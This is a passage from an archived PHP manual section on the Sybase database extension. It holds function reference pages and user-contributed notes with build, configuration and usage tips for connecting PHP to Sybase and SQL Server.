'make distclean' in your PHP build directory, and repeat the build as above.
zeldorblat at gmail dot com 18-Sep-2005 01:43
In response to the post by jon dot bertsch at ucop dot edu, it is possible to install both the FreeTDS libraries and the Sybase libraries.  The problem is that the Sybase extension alias's its function names to the mssql_ functions.

Take a look in your PHP source directory under /ext/sybase_ct/php_sybase_ct.c near the top where the sybase_functions[] declaration is.  You can comment out the part that alias's the function names, recompile with FreeTDS and Sybase, and you're all set!
jon dot bertsch at ucop dot edu 24-Jun-2005 11:41
Up to php 5.0.4 you cannot install both sybase and mssql (they use the same function names). It turns out though that if you use the Freetds library you can connect to sybase using the mssql functions (and visa versa I assume). Setup your servers in the freetds.conf file (for sybase use specify version 5.0, for mssql 7 or 8.0) and call the database connection as you would with mssql (mssql_conect). You should be able to connect either sql server or sybase. I don't know if all sybase functions will work as expected but basic querying is succesful. Hope this helps someone.
punkarruso at despammed dot com 14-Dec-2004 05:50
I just want to report that, like explained in bug #27562, selective stored procedures (like sp_helpdb) don't return a resultset with freeTDS >= 0.62. (using php <= 4.3.9)
If you have installed such releases of freeTDS, downgrade to 0.61.x.
matt dot sawyer at gmail dot com 30-Nov-2004 08:46
I've noticed (after days of frustration) that setting the sybase.interface_file to a location other than the default ($SYBASE/interfaces) in php.ini doesn't always work.  I finally gave up and copied my interface entries to the default location, and it works consistently now.  (This is even with sybase.interface_file still set to the non-default location).
greg dot fenton at ianywhere dot com 22-Nov-2004 02:07
For Sybase/iAnywhere SQL Anywhere (a.k.a Adaptive Server Anywhere, a.k.a. ASA), you likely should try the SQLAnywhere PHP module [which now ships with ASA as of 9.0.2]:

    http://www.ianywhere.com/developer/code_samples/sqlany_php_module.html

ASA can work with TDS (Open Client), but if performance is something you care about you likely want to use the native ASA interface.  For info/help, consider posting to sybase.public.sqlanywhere.general or sybase.public.sqlanywhere.linux  (http://www.ianywhere.com/support/newsgroups.html)

Hope this helps,
greg.fenton
info(at)sovall(dot)cz 04-Aug-2004 04:10
This is way to compile Sybase ASE 12.5 with PHP5.0.0 and Apache 2 on Linux:
- install apache
- install ase1252_de_linux.tgz to /opt/sybase-12.5
- shell:# ln -s /opt/sybase-12.5 /opt/sybase
- edit phpsrc/configure and remove all '-linsck'
- edit phpsrc/ext/sybase-ct/php_sybase_ct.h and change CTLIB_VERSION CS_VERSION_100 to 125
- shell:# export SYBASE=/opt/sybase
- phpsrc/configure --with-sybase-ct=/opt/sybase/OCS-12_5
- phpsrc/make and make install
- edit apache2/conf/httpd.conf and add AddType... .php
- create /opt/sybase/interfaces file
SERVERNAME
[tab!]master tcp ether ipAddress port
[tab!]query tcp ether ipAddress port
- apache2/bin/apachectl start

I hope, that I save your time.
1rsv_sign_mail.ru (stas_aka_rsv) 23-Mar-2004 10:20
There is a way how to force php work with both php_mssql.dll and php_sybase_ct.dll. Just open php_sybase_ct.dll in any editor (dont use MS WORD :0) ) and replace all "mssql_" on something like that "masql_".
After that there will not be warnings about double function definitions and php can use php_sybase_ct.dll to access to sybase and php_mssql.dll to access to mssql.
The reason why I did such thing is that I couldnt connect to mssql using php_sybase_ct.dll.
ms at klmoberg dot no 15-Mar-2004 05:10
I solved my connection problems by setting ENV variables directly in PHP.

putenv ("SYBASE=/opt/sybase");
putenv ("SYBPLATFORM=linux");
putenv ("LD_LIBRARY_PATH=/opt/sybase/lib");
putenv ("LC_ALL=default");
putenv ("PATH=\"/opt/sybase/bin:$PATH\"");
putenv ("DSQUERY=SYBASE");

--
Martin Sarajervi
ddc at portalframework dot com 07-Oct-2002 06:05
If you would like to use the wide table support of Sybase ASE 12.5, take advantage of XML/XQL embedded in the database and use varchars of more than 255 char, you'll need to recompile PHP changing this line in the
    php_sybase_ct.h file:

From:

#define CTLIB_VERSION CS_VERSION_100

To:

#define CTLIB_VERSION CS_VERSION_125

This will only run if you have installed Sybase ASE Open Client v. 12.5 and configured PHP telling it where the OCS is... (./configure --with-sybase-ct=$SYBASE_HOME/OCS [...])

--
Diego Dal Cero.
aj at bootsector dot org 04-Sep-2002 02:10
A note for all who may be struggling...  Microsoft did away with the ct-lib support in SQL Server 2000.

I played with it and found a couple of articles related to it on google.  A workaround/different method would be preferrable.  Anybody?
ddc at portalframework.com 14-May-2002 11:19
Compiling PHP with Sybase ASE 12.5 on Linux.

Assuming that you have installed the Sybase ASE 12.5 client in linux, and you have the SYBASE env variable set, you can compile PHP >= 4.0.6 with Sybase ASE 12.5.
Just use:

  --with-sybase-ct=$SYBASE/OCS
instead of
  --with-sybase-ct=$SYBASE
elee at kinwai dot net 15-Apr-2002 02:28
Freetds 5.2 bugs!!

For those who use Freetds 5.2 running under linux connect to sqlserver2000, there is a bugs in selecting NVARCHAR field that data will either duplicated or truncated. To avoid this problem, please use CAST or CONVERT function in sql statement such as:
$query="select CAST(fieldname as nchar(1000)) as fieldname from table"

Feel free to contact us at
aikok@netfront.net
or
elee@kinwai.net

German Chu & Eagle Lee
basilio_mail at chat dot ru 25-Oct-2001 03:56
For those, who might want to use SyBase client not only under Linux, you may try to use open-source FreeTDS library - http://www.freetds.org

Also there's how-to for FreeTDS and PHP:
http://www.freetds.org/userguide/php.html
borreo at softhome dot net 14-Sep-2001 11:29
If you have a Linux machine with Sybase ASE 11.9.2, Php 4.0.6, Apache and Sybase-ct library, don't upgrade to Sybase ASE 12.5 yet, or Apache will stop working.
Since 12.5 is newer than 4.0.6, I guess this will be fixed soon.
borreo at softhome dot net 14-Sep-2001 11:22
If you use IIS and sybase-ct library, be sure to use PHP 4.0.6 or higher, since older version caused crashes.
rbuico at ntep dot nec dot co dot jp 27-Aug-2001 08:54
maybe it can help.
my database is ASE

this is my script....

<?
$cnn = sybase_connect("db_server","sa","password");
$result = sybase_query("Select itemno,stockno from your_db..your_table");
$i = 0;
while ($r = sybase_fetch_array($result)) {
$i++;
$itemno = $r["itemno"];
$stockno = $r["stockno"];
echo "$i    $stockno   $itemno <br>";
}
?>

note that I did not use the
sybase_select_db("db") function because ASE had a default database.
thx...
borreo at softhome dot net 28-Jun-2001 06:33
It's important to note that sybase_ct connect or pconnect were causing GPF.
If you experienced this problem, just update PHP to 4.0.6.
koos at kzdoos dot xs4all dot nl 09-Oct-2000 11:20
A bit more about blobs:
If you want to retrieve blobs without them getting truncated, do a 'set textsize value' query first.
chptma at hydra dot esfm dot ipn dot mx 06-Sep-2000 01:13
about sybase-ct library

You can download the file from php.net but the samples in the tar (and php) maybe not compile I have this problem in some systems (but not in others with old librarys and old gcc).

Try freetds from www.freetds.org that is ok!

System wthout trouble
Debian 2.1 gcc (2.7.2.3) libc-2.0.7.so
System With trouble
Debian 2.2 gcc (2.95.2) libc-2.1.3.so
RedHat 6.2 gcc [egcs] (2.91.66) libc-2.1.3.so

Please refer to mssql if you try to connect to MS SQL Server!!!
hoadley at xoom dot com 18-Aug-2000 02:41
I would STRONGLY recommend using the ct library over the db library when compiling sybase support with php4+. I ran into strange http child seg faults when trying to issue multiple sql statements in one php page.  Using ct-library there is no problem.
james at lasolas dot com 21-Mar-2000 06:28
If you get a segfault with sybase-ct, add a en_US entry to your  $SYBASE/locales/locales.dat file:

[linux]
    locale = en_US, us_english, iso_1
    ...
ericnewman at aol dot com 06-Mar-2000 01:57
I struggled to get this to work for a week. Here's a tip. Log on to your system using the same login as your web server, probably "nobody". Using this account, make sure you can get isql to work. In my case, I had to change the permissions on the /opt/sybase folder, as well as chmod the /opt/sybase/interfaces file to 644. (It was 600 by default, and did not allow anyone but root to read it.) Once I did this, things started to happen...
tcurdt at dff dot st 01-Mar-2000 01:34
Poor documentation on sybase support!! Here's how I made it work... First get the linux ASE from sybase (maybe the ctlibs provided at php.net will do fine, too) Install the ASE rpm. (some distributions don't have system libs etc in the rpm database so you might get some dependency errors. If your systems fits the requirements install with "ignore dependencies") Recompile php with option --with-sybase-ct=/dirtoyoursybasehome. Then you need to set the env variable for (at least)your apache user by export SYBASE=/dirtoyoursybasehome. Now you need to set up your servers (like DSNs for ODBC). Edit the file $SYBASE/interfaces and add your server entries:

SERVERNAME
  query tcp ether 172.16.1.4 4100
  master tcp ether 172.16.1.4 4100

(change IP/FQHN and port to your setup) Now you can check your config by using
$SYBASE/bin/isql -S SERVERNAME -U DBUSER -P PASSWD
If you get a prompt you have connected to your sybase! Hurray! Now you can try with php
$db=sybase_connect("SERVERNAME","DBUSER","DBPASSWD");
And... Voila!
Xtof at fromages-et-desserts dot com 20-Feb-2000 10:18
To store an image file into Sybase try this :

$data = bin2hex(fread(fopen($image,"r"), filesize($image)));
//don't forget the 0x before the hex data.
if(! sybase_query("INSERT INTO test_image (image) VALUES (0x".$data.")")) die ("Unable to store the image.");

To retrieve it just do a select and use a hex2bin function (this one has been submitted by carl@five-ten-sg.com and is the fastest) :

function hex2bin($data) {
     $len = strlen($data);
      return pack("H" . $len, $data);
}

PS : use CT-lib rather than DB-lib (Sybase doesn't work on it anymore!)
Predefined Constants
sybase_affected_rows
Sybase


Gets number of affected rows in last query

Sybase Functions
sybase_close
Sybase Functions
PHP Manual

sybase_affected_rows

(PHP 4, PHP 5)

sybase_affected_rows — Gets number of affected rows in last query

Description

int sybase_affected_rows ([ resource $link_identifier ] )

sybase_affected_rows() returns the number of rows affected by the last INSERT, UPDATE or DELETE query on the server associated with the specified link identifier.

This command is not effective for SELECT statements, only on statements which modify records. To retrieve the number of rows returned from a SELECT, use sybase_num_rows().

Parameters

link_identifier

If the link identifier isn't specified, the last opened link is assumed.

Return Values

Returns the number of affected rows, as an integer.

Examples

Example #1 Delete-Query

<?php
/* connect to database */
sybase_connect('SYBASE', '', '') or
die("Could not connect");
sybase_select_db("db");

sybase_query("DELETE FROM sometable WHERE id < 10");
printf("Records deleted: %d\n", sybase_affected_rows());
?>

The above example will output:

Records deleted: 10

See Also

  • sybase_num_rows() - Get number of rows in a result set

User Contributed Notes

neugeypc at cox dot net 31-May-2002 11:24
The sybase_affected_rows() function seems to work now with the Sybase DB Library.  Not sure when this improvement was made, but I'm currently running PHP 4.1.2 on Solaris.

Affected rows seems to return a -1 if the query syntax was incorrect on the last submitted query.
Affected rows returns 0 if no rows were affected or another error occured, such as a foreign key violation and also returns 0 if the query was successfully, but no records were affected by the query.
If the query was valid and did affect some rows, sybase_affected_rows() seems to be returning the correct number.
james at lasolas dot com 21-Mar-2000 06:25
If you get a segfault with sybase-ct, add a en_US entry to your $SYBASE/locales/locales.dat file:

[linux]
    locale = en_US, us_english, iso_1
    ...
Sybase Functions
sybase_close
Sybase Functions


Closes a Sybase connection

sybase_affected_rows
sybase_connect
Sybase Functions
PHP Manual

sybase_close

(PHP 4, PHP 5)

sybase_close — Closes a Sybase connection

Description

bool sybase_close ([ resource $link_identifier ] )

sybase_close() closes the link to a Sybase database that's associated with the specified link link_identifier.

Note that this isn't usually necessary, as non-persistent open links are automatically closed at the end of the script's execution.

sybase_close() will not close persistent links generated by sybase_pconnect().

Parameters

link_identifier

If the link identifier isn't specified, the last opened link is assumed.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sybase_connect() - Opens a Sybase server connection
  • sybase_pconnect() - Open persistent Sybase connection

User Contributed Notes

There are no user contributed notes for this page.
sybase_affected_rows
sybase_connect
Sybase Functions


Opens a Sybase server connection

sybase_close
sybase_data_seek
Sybase Functions
PHP Manual

sybase_connect

(PHP 4, PHP 5)

sybase_connect — Opens a Sybase server connection

Description

resource sybase_connect ([ string $servername [, string $username [, string $password [, string $charset [, string $appname [, bool $new = false ]]]]]] )

sybase_connect() establishes a connection to a Sybase server.

In case a second call is made to sybase_connect() with the same arguments, no new link will be established, but instead, the link identifier of the already opened link will be returned.

The link to the server will be closed as soon as the execution of the script ends, unless it's closed earlier by explicitly calling sybase_close().

Parameters

servername

The servername argument has to be a valid servername that is defined in the 'interfaces' file.

username

Sybase user name

password

Password associated with username.

charset

Specifies the charset for the connection

appname

Specifies an appname for the Sybase connection. This allow you to make separate connections in the same script to the same database. This may come handy when you have started a transaction in your current connection, and you need to be able to do a separate query which cannot be performed inside this transaction.

new

Whether to open a new connection or use the existing one.

Return Values

Returns a positive Sybase link identifier on success, or FALSE on failure.

Changelog

Version | Description
5.3.0 | The new parameter was added.
4.2.0 | The appname parameter was added.
4.0.2 | The charset parameter was added.

Examples

Example #1 sybase_connect() example

<?php
$link = sybase_connect('SYBASE', '', '')
        or die("Could not connect !");
echo "Connected successfully";
sybase_close($link);
?>

See Also

  • sybase_pconnect() - Open persistent Sybase connection
  • sybase_close() - Closes a Sybase connection

User Contributed Notes

brunello95 at aol dot com 15-Mar-2005 10:30
freetds is a great, free tool to access your sybase tables with PHP. The setup can be a bit tricky. Use the following to put the environment variables that you need:
<?php
putenv ("SYBASE=/usr/local/freetds");
putenv ("SYBPLATFORM=linux");
putenv ("LD_LIBRARY_PATH=/usr/local/freetds/lib");
putenv ("LC_ALL=default");
putenv ('PATH=\"/usr/local/freetds/bin:$PATH\"');
putenv ("DSQUERY=SYBASE");
?>
Even if not using freetds, you'll need those env vars to make any sybase connection work. Another option is to just load them into your box from the command line.
naguiwerian at netscape dot net 18-Sep-2001 09:31
To connect from win32 to Sybase on Unix , you can use sybase open client and make sure to use the hostname in sybase_connect as it is defined in the OC sql.ini file .. it worked that way !
bkw at weisshuhn dot de 06-Apr-2000 05:38
To decrease the level of messages sent back from the dbserver (such as 'changed context...') try:

     sybase_min_server_severity(11);
gregory at bnl dot gov 04-Feb-2000 07:35
If you are having trouble connecting to your sybase database on unix, try checking that the SYBASE environmental variable is set correctly. I was getting connection errors until I found out that this variable had not been set through the server.
sybase_close
sybase_data_seek
Sybase Functions


Moves internal row pointer

sybase_connect
sybase_deadlock_retry_count
Sybase Functions
PHP Manual

sybase_data_seek

(PHP 4, PHP 5)

sybase_data_seek — Moves internal row pointer

Description

bool sybase_data_seek ( resource $result_identifier , int $row_number )

sybase_data_seek() moves the internal row pointer of the Sybase result associated with the specified result identifier to pointer to the specified row number. The next call to sybase_fetch_row() would return that row.

Parameters

result_identifier

row_number

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sybase_fetch_row() - Get a result row as an enumerated array

User Contributed Notes

mark at somewhere dot com 15-Nov-2004 12:54
Make sure you have a data to seek, else you will get a bad row offset warning.
sybase_connect
sybase_deadlock_retry_count
Sybase Functions


Sets the deadlock retry count

sybase_data_seek
sybase_fetch_array
Sybase Functions
PHP Manual

sybase_deadlock_retry_count

(PHP 4 >= 4.3.0, PHP 5)

sybase_deadlock_retry_count — Sets the deadlock retry count

Description

void sybase_deadlock_retry_count ( int $retry_count )

Using sybase_deadlock_retry_count(), the number of retries can be defined in cases of deadlocks. By default, every deadlock is retried an infinite number of times or until the process is killed by Sybase, the executing script is killed (for instance, by set_time_limit()) or the query succeeds.

Parameters

retry_count

Values for retry_count
-1 | Retry forever (default)
0 | Do not retry
n | Retry n times

Return Values

No value is returned.

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

User Contributed Notes

There are no user contributed notes for this page.
sybase_data_seek
sybase_fetch_array
Sybase Functions


Fetch row as array

sybase_deadlock_retry_count
sybase_fetch_assoc
Sybase Functions
PHP Manual

sybase_fetch_array

(PHP 4, PHP 5)

sybase_fetch_array — Fetch row as array

Description

array sybase_fetch_array ( resource $result )

sybase_fetch_array() is an extended version of sybase_fetch_row(). In addition to storing the data in the numeric indices of the result array, it also stores the data in associative indices, using the field names as keys.

An important thing to note is that using sybase_fetch_array() is NOT significantly slower than using sybase_fetch_row(), while it provides a significant added value.

Parameters

result

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Note:

When selecting fields with identical names (for instance, in a join), the associative indices will have a sequential number prepended. See the example for details.

Examples

Example #1 Identical fieldnames

<?php

$dbh = sybase_connect('SYBASE', '', '');
$q = sybase_query('SELECT * FROM p, a WHERE p.person_id= a.person_id');
var_dump(sybase_fetch_array($q));
sybase_close($dbh);
?>

The above example would produce the following output (assuming the two tables only have each one column called "person_id"):

array(4) {
  [0]=>
  int(1)
  ["person_id"]=>
  int(1)
  [1]=>
  int(1)
  ["person_id1"]=>
  int(1)
}

See Also

  • sybase_fetch_row() - Get a result row as an enumerated array
  • sybase_fetch_assoc() - Fetch a result row as an associative array
  • sybase_fetch_object() - Fetch a row as an object

User Contributed Notes

burak3 at gmail dot com 05-Apr-2005 12:25
For varchar type fields, sybase api fetch is limited with 255 characters.
In sybase you can have a varchar field nearly upto a page size, ex: varchar(1500)
sybase_deadlock_retry_count
sybase_fetch_assoc
Sybase Functions


Fetch a result row as an associative array

sybase_fetch_array
sybase_fetch_field
Sybase Functions
PHP Manual

sybase_fetch_assoc

(PHP 4 >= 4.3.0, PHP 5)

sybase_fetch_assoc — Fetch a result row as an associative array

Description

array sybase_fetch_assoc ( resource $result )

sybase_fetch_assoc() is a version of sybase_fetch_row() that uses column names instead of integers for indices in the result array. Columns from different tables with the same names are returned as name, name1, name2, ..., nameN.

An important thing to note is that using sybase_fetch_assoc() is NOT significantly slower than using sybase_fetch_row(), while it provides a significant added value.

Parameters

result

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows.

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

See Also

  • sybase_fetch_row() - Get a result row as an enumerated array
  • sybase_fetch_array() - Fetch row as array
  • sybase_fetch_object() - Fetch a row as an object

User Contributed Notes

elektrotechnik at onlinehome dot de 06-May-2004 04:33
Very often you see constructs like this to loop thru a result set:

while ($row = sybase_fetch_assoc($result))
{
    while (current($row)) // or  while (current($row) != false)
    {
        $data = current($row);
        $key = key($row);

        //
        // do stuff here
        //

    next($row);
    }
}

Do not use it in this way! You have to write the inner while loop this way:

while (current($row) !== false)

If you just use
while (current($row) != false)
or
while (current($row))

you could be in trouble and loose some data. In my case I had a query which contained the following statement:

datediff(dd, date1, date2) as days

Now if days computes to 0 then the two while loop examples from above will exit (because the 0 is 'seen' as false). Therefore you must use while (current($row) !== false) which will not exit if one of you data contains 0.

Hth,
rgds,
Marcus
jpeterso at moody dot edu 01-Jul-2003 12:51
For users that want this function in other applications, use this function.  I have been using it for over a year with great success.

function sybase_fetch_assoc($query_result){
        $row = sybase_fetch_array($query_result);
        $values = "";
        if(is_array($row))
        {
        while(list($key, $val) = each($row))
            {
                $values[$key] = $val;
            }
        }
    return $values;
}
sybase_fetch_array
sybase_fetch_field
Sybase Functions


Get field information from a result

sybase_fetch_assoc
sybase_fetch_object
Sybase Functions
PHP Manual

sybase_fetch_field

(PHP 4, PHP 5)

sybase_fetch_field — Get field information from a result

Description

object sybase_fetch_field ( resource $result [, int $field_offset = -1 ] )

sybase_fetch_field() can be used in order to obtain information about fields in a certain query result.

Parameters

result

field_offset

If the field offset isn't specified, the next field that wasn't yet retrieved by sybase_fetch_field() is retrieved.

Return Values

Returns an object containing field information.

The properties of the object are:

  • name - column name. if the column is a result of a function, this property is set to computed#N, where #N is a serial number.
  • column_source - the table from which the column was taken
  • max_length - maximum length of the column
  • numeric - 1 if the column is numeric
  • type - datatype of the column

See Also

  • sybase_field_seek() - Sets field offset

User Contributed Notes

anthony dot leung at virgin dot net 25-Jun-2003 11:44
Bit short on comments and tips bout this one so head down to mysql_fetch_fields where the concept is the same. I seemed to get an infinite loop over there using the $i counter tho, so I used a for loop instead.
The list of properties you can get from what I've called $info is in the example to the mysql equivalent.

//start of an example to print out column headings

echo "<table><tr>";
  $numfields=sybase_num_fields($query);
  for ($f=0;$f<=$numfields;$f++){
    $info = sybase_fetch_field($query);
    echo "<td> $info->name </td>";
  }
  echo "</tr><tr>";
gray at voicenet dot com 15-Oct-1999 03:27
The 'type' field contains (roughly) the datatype of the source column.  Types returned are:

  'type'   Sybase Type
  -------  --------------------------
  string   CHAR, VARCHAR, TEXT
  image    IMAGE
  blob     BINARY, VARBINARY
  bit      BIT
  int      TINYINT, SMALLINT, INT
  real     REAL, FLOAT, NUMERIC, DECIMAL
  money    MONEY
  datetime DATETIME, SMALLDATETIME
sybase_fetch_assoc
sybase_fetch_object
Sybase Functions


Fetch a row as an object

sybase_fetch_field
sybase_fetch_row
Sybase Functions
PHP Manual

sybase_fetch_object

(PHP 4, PHP 5)

sybase_fetch_object — Fetch a row as an object

Description

object sybase_fetch_object ( resource $result [, mixed $object ] )

sybase_fetch_object() is similar to sybase_fetch_assoc(), with one difference - an object is returned, instead of an array.

Speed-wise, the function is identical to sybase_fetch_array(), and almost as quick as sybase_fetch_row() (the difference is insignificant).

Parameters

result

object

Use the second object to specify the type of object you want to return. If this parameter is omitted, the object will be of type stdClass.

Return Values

Returns an object with properties that correspond to the fetched row, or FALSE if there are no more rows.

Changelog

Version Description
4.3.0

This function will no longer return numeric object members. Old behaviour:

object(stdclass)(3) {
  [0]=>
  string(3) "foo"
  ["foo"]=>
  string(3) "foo"
  [1]=>
  string(3) "bar"
  ["bar"]=>
  string(3) "bar"
}
New behaviour:
object(stdclass)(3) {
  ["foo"]=>
  string(3) "foo"
  ["bar"]=>
  string(3) "bar"
}

Examples

Example #1 sybase_fetch_object() return as Foo

<?php
    class Foo {
        var $foo, $bar, $baz;
    }

    // {...]
    $qrh= sybase_query('SELECT foo, bar, baz FROM example');
    $foo= sybase_fetch_object($qrh, 'Foo');
    $bar= sybase_fetch_object($qrh, new Foo());
    // {...]
?>

See Also

  • sybase_fetch_array() - Fetch row as array
  • sybase_fetch_row() - Get a result row as an enumerated array

User Contributed Notes

There are no user contributed notes for this page.
sybase_fetch_field
sybase_fetch_row
Sybase Functions


Get a result row as an enumerated array

sybase_fetch_object
sybase_field_seek
Sybase Functions
PHP Manual

sybase_fetch_row

(PHP 4, PHP 5)

sybase_fetch_row — Get a result row as an enumerated array

Description

array sybase_fetch_row ( resource $result )

sybase_fetch_row() fetches one row of data from the result associated with the specified result identifier.

Subsequent call to sybase_fetch_row() would return the next row in the result set, or FALSE if there are no more rows.

Parameters

result

Return Values

Returns an array that corresponds to the fetched row, or FALSE if there are no more rows. Each result column is stored in an array offset, starting at offset 0.

Data types
PHP | Sybase
string | VARCHAR, TEXT, CHAR, IMAGE, BINARY, VARBINARY, DATETIME
int | NUMERIC (w/o precision), DECIMAL (w/o precision), INT, BIT, TINYINT, SMALLINT
float | NUMERIC (w/ precision), DECIMAL (w/ precision), REAL, FLOAT, MONEY
NULL | NULL

See Also

  • sybase_fetch_array() - Fetch row as array
  • sybase_fetch_assoc() - Fetch a result row as an associative array
  • sybase_fetch_object() - Fetch a row as an object
  • sybase_data_seek() - Moves internal row pointer
  • sybase_result() - Get result data

User Contributed Notes

mikeegg at prodigy dot net 02-Dec-1999 10:53
Just a simple example modified from the sybase_fetch_array():

sybase example:
<?php
    $db = sybase_connect("sybtest", "sa", "teacher");
    $q = sybase_query("select name from syslogins", $db);
    while($row = sybase_fetch_row($q)) {
        while(list($k, $v) = each($row)) {
            echo "\$row[$k] => $v\n";
        }
    }
?>

$row[0] => dnld
$row[0] => edi
$row[0] => oes
$row[0] => oesuseradmin
$row[0] => rpts
$row[0] => sa
$row[0] => upld
sybase_fetch_object
sybase_field_seek
Sybase Functions


Sets field offset

sybase_fetch_row
sybase_free_result
Sybase Functions
PHP Manual

sybase_field_seek

(PHP 4, PHP 5)

sybase_field_seek — Sets field offset

Description

bool sybase_field_seek ( resource $result , int $field_offset )

Seeks to the specified field offset. If the next call to sybase_fetch_field() won't include a field offset, this field would be returned.

Parameters

result

field_offset

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • sybase_fetch_field() - Get field information from a result

User Contributed Notes

There are no user contributed notes for this page.
sybase_fetch_row
sybase_free_result
Sybase Functions


Frees result memory

sybase_field_seek
sybase_get_last_message
Sybase Functions
PHP Manual

sybase_free_result

(PHP 4, PHP 5)

sybase_free_result — Frees result memory

Description

bool sybase_free_result ( resource $result )

sybase_free_result() only needs to be called if you are worried about using too much memory while your script is running. All result memory will automatically be freed when the script ends. You may call sybase_free_result() with the result identifier as an argument and the associated result memory will be freed.

Parameters

result

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

verdy_p at wanadoo dot fr 24-Jul-1999 03:10
When processing queries that return MANY rows, and when you put a limit on the number of rows you fetch from the result set, you should always call this function to close the current result set, because the SQL server may still be pending waiting for other rows to be fetched by your script. When you call this function, the Sybase client in PHP3 will signal to Sybase SQL Server that other pending results can be ignored, and the SQL server connection will return faster to the "waiting command" state, instead of keeping in the "suspend" state, saving much resources on the SQL-Server. In fact, it is  a good idea to call this function after all your queries to save up SQL server resources.
Note that when processing SQL batchs with multiple queries, and stored procedure calls that return multiple result sets, there's no provision here to let the server return the next result set. There should be another function like sybase_next_result() to close the current result set, and let the SQL server go on the next SQL statements. Such a function would return a status that indicates if further results are coming or if the query is really terminated.
sybase_field_seek
sybase_get_last_message
Sybase Functions


Returns the last message from the server

sybase_free_result
sybase_min_client_severity
Sybase Functions
PHP Manual

sybase_get_last_message

(PHP 4, PHP 5)

sybase_get_last_message — Returns the last message from the server

Description

string sybase_get_last_message ( void )

sybase_get_last_message() returns the last message reported by the server.

Return Values

Returns the message as a string.

See Also

  • sybase_min_message_severity() - Sets minimum message severity

User Contributed Notes

uioreanu at hotmail dot com 22-Sep-2001 03:19
This function comes from version 4.0.5,
and not from PHP 4 >= 4.0.0 as stated here.
So don't not waist time like I did searching for it.

http://www.php.net/ChangeLog-4.php
Version 4.0.5
30-Apr-2001
Added sybase_get_last_message() to the Sybase CT module. (Jan Fedak)
sybase_free_result
sybase_min_client_severity
Sybase Functions


Sets minimum client severity

sybase_get_last_message
sybase_min_error_severity
Sybase Functions
PHP Manual

sybase_min_client_severity

(PHP 4, PHP 5)

sybase_min_client_severity — Sets minimum client severity

Description

void sybase_min_client_severity ( int $severity )

sybase_min_client_severity() sets the minimum client severity level.

Parameters

severity

Return Values

No value is returned.

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

See Also

  • sybase_min_server_severity() - Sets minimum server severity

User Contributed Notes

sean dot healey at bayernlb dot co dot uk 28-Oct-2005 03:50
Sybase considers severity levels 0-16 as non-fatal. Above that you probably don't want to block messages.
rudolf at 1stomni dot com 27-Feb-2002 12:41
This parameter setup level of responce mesage filtering when you compile
--with-sybase_ct

<?
sybase_min_client_severity(9);
sybase_min_server_severity(9);
$db=sybase_connect("mdserver","sa","");
?>

Will result:
Warning: Sybase: Server message: Changed database context to 'master'.
(severity 10, procedure N/A) in
/var/www/html/DBAdmins/phpSybaseAdmin/test.php on line 4

<?
sybase_min_client_severity(100);
sybase_min_server_severity(100);
$db=sybase_connect("mdserver","sa","");
?>

Will not generate warning!!!

Can be used for SYBASE debugging !
26-Oct-2001 02:46
The severity levels mentioned here are referenced in the Sybase System Administration documentation. I didn't know that, and it annoyed me. Now you know.
sybase_get_last_message
sybase_min_error_severity
Sybase Functions


Sets minimum error severity

sybase_min_client_severity
sybase_min_message_severity
Sybase Functions
PHP Manual

sybase_min_error_severity

(PHP 4, PHP 5)

sybase_min_error_severity — Sets minimum error severity

Description

void sybase_min_error_severity ( int $severity )

sybase_min_error_severity() sets the minimum error severity level.

Parameters

severity

Return Values

No value is returned.

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

See Also

  • sybase_min_message_severity() - Sets minimum message severity

User Contributed Notes

There are no user contributed notes for this page.
sybase_min_client_severity
sybase_min_message_severity
Sybase Functions


Sets minimum message severity

sybase_min_error_severity
sybase_min_server_severity
Sybase Functions
PHP Manual

sybase_min_message_severity

(PHP 4, PHP 5)

sybase_min_message_severity — Sets minimum message severity

Description

void sybase_min_message_severity ( int $severity )

sybase_min_message_severity() sets the minimum message severity level.

Parameters

severity

Return Values

No value is returned.

Notes

Note: This function is only available when using the DB library interface to Sybase, and not with the CT library.

See Also

  • sybase_min_error_severity() - Sets minimum error severity

User Contributed Notes

There are no user contributed notes for this page.
sybase_min_error_severity
sybase_min_server_severity
Sybase Functions


Sets minimum server severity

sybase_min_message_severity
sybase_num_fields
Sybase Functions
PHP Manual

sybase_min_server_severity

(PHP 4, PHP 5)

sybase_min_server_severity — Sets minimum server severity

Description

void sybase_min_server_severity ( int $severity )

sybase_min_server_severity() sets the minimum server severity level.

Parameters

severity

Return Values

No value is returned.

Notes

Note: This function is only available when using the CT library interface to Sybase, and not with the DB library.

See Also

  • sybase_min_client_severity() - Sets minimum client severity

User Contributed Notes

There are no user contributed notes for this page.
sybase_min_message_severity
sybase_num_fields
Sybase Functions


Gets the number of fields in a result set

sybase_min_server_severity
sybase_num_rows
Sybase Functions
PHP Manual

sybase_num_fields

(PHP 4, PHP 5)

sybase_num_fields — Gets the number of fields in a result set

Description

int sybase_num_fields ( resource $result )

sybase_num_fields() returns the number of fields in a result set.

Parameters

result

Return Values

Returns the number of fields as an integer.

See Also

  • sybase_query() - Sends a Sybase query
  • sybase_fetch_field() - Get field information from a result
  • sybase_num_rows() - Get number of rows in a result set

User Contributed Notes

There are no user contributed notes for this page.
sybase_min_server_severity
sybase_num_rows
Sybase Functions


Get number of rows in a result set

sybase_num_fields
sybase_pconnect
Sybase Functions
PHP Manual

sybase_num_rows

(PHP 4, PHP 5)

sybase_num_rows — Get number of rows in a result set

Description

int sybase_num_rows ( resource $result )

sybase_num_rows() returns the number of rows in a result set.

Parameters

result

Return Values

Returns the number of rows as an integer.

See Also

  • sybase_num_fields() - Gets the number of fields in a result set
  • sybase_query() - Sends a Sybase query
  • sybase_fetch_row() - Get a result row as an enumerated array

User Contributed Notes

verdy_p at wanadoo dot fr 24-Jul-1999 03:32
